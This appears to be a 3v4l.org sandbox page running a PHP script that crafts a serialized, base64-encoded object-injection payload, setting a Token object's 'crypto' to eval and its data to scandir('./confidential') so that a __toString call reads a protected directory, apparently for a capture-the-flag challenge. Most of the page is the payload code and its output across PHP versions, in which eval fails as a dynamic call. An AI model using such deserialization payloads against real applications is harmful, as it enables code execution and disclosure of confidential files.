3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class Cookie{ public $username; public $coffee; public $token; public function __toString() { return "<p> Hey ".$this->username."! </p><br>" . "<p> Here is your token for a free ". $this->coffee."!!</p><p>".$this->token."</p><p>Give us this token at your next visit!</p>"; } } class Token{ public $coffee; public $username; public function __construct($coffee, $username){ $this->coffee = (string)$coffee; $this->username = (string)$username; $this->crypto = "crc32"; } public function __toString(){ $x = $this->crypto; return substr(md5(rand($x($this->coffee . $this->username), 0xc0ffee)), 10); } } $c = new Cookie(); $c->username = "abc"; $c->coffee = "def"; $t = new Token("scandir('./confidential');", ""); $t->crypto = "eval"; $c->token = $t; $s = serialize($c); echo base64_encode($s); echo "Komtie"; $c2 = unserialize($s); echo "Cookie.toString: " . $c;
based on r2fu8
Output for 7.0.1 - 7.1.9
Tzo2OiJDb29raWUiOjM6e3M6ODoidXNlcm5hbWUiO3M6MzoiYWJjIjtzOjY6ImNvZmZlZSI7czozOiJkZWYiO3M6NToidG9rZW4iO086NToiVG9rZW4iOjM6e3M6NjoiY29mZmVlIjtzOjI2OiJzY2FuZGlyKCcuL2NvbmZpZGVudGlhbCcpOyI7czo4OiJ1c2VybmFtZSI7czowOiIiO3M6NjoiY3J5cHRvIjtzOjQ6ImV2YWwiO319Komtie Fatal error: Method Token::__toString() must not throw an exception, caught Error: Call to undefined function eval() in /in/s0cp3 on line 0
Process exited with code 255.
Output for 7.0.0
Tzo2OiJDb29raWUiOjM6e3M6ODoidXNlcm5hbWUiO3M6MzoiYWJjIjtzOjY6ImNvZmZlZSI7czozOiJkZWYiO3M6NToidG9rZW4iO086NToiVG9rZW4iOjM6e3M6NjoiY29mZmVlIjtzOjI2OiJzY2FuZGlyKCcuL2NvbmZpZGVudGlhbCcpOyI7czo4OiJ1c2VybmFtZSI7czowOiIiO3M6NjoiY3J5cHRvIjtzOjQ6ImV2YWwiO319Komtie Fatal error: Method Token::__toString() must not throw an exception in /in/s0cp3 on line 0
Process exited with code 255.
Output for hhvm-3.18.4 - 3.21.0
Tzo2OiJDb29raWUiOjM6e3M6ODoidXNlcm5hbWUiO3M6MzoiYWJjIjtzOjY6ImNvZmZlZSI7czozOiJkZWYiO3M6NToidG9rZW4iO086NToiVG9rZW4iOjM6e3M6NjoiY29mZmVlIjtzOjI2OiJzY2FuZGlyKCcuL2NvbmZpZGVudGlhbCcpOyI7czo4OiJ1c2VybmFtZSI7czowOiIiO3M6NjoiY3J5cHRvIjtzOjQ6ImV2YWwiO319Komtie Fatal error: Uncaught Error: Call to undefined function eval() in /in/s0cp3:26 Stack trace: #0 /in/s0cp3(10): Token->__toString() #1 /in/s0cp3(42): Cookie->__toString() #2 {main}
Process exited with code 255.
Output for 5.6.0 - 5.6.30
Tzo2OiJDb29raWUiOjM6e3M6ODoidXNlcm5hbWUiO3M6MzoiYWJjIjtzOjY6ImNvZmZlZSI7czozOiJkZWYiO3M6NToidG9rZW4iO086NToiVG9rZW4iOjM6e3M6NjoiY29mZmVlIjtzOjI2OiJzY2FuZGlyKCcuL2NvbmZpZGVudGlhbCcpOyI7czo4OiJ1c2VybmFtZSI7czowOiIiO3M6NjoiY3J5cHRvIjtzOjQ6ImV2YWwiO319Komtie Fatal error: Call to undefined function eval() in /in/s0cp3 on line 26
Process exited with code 255.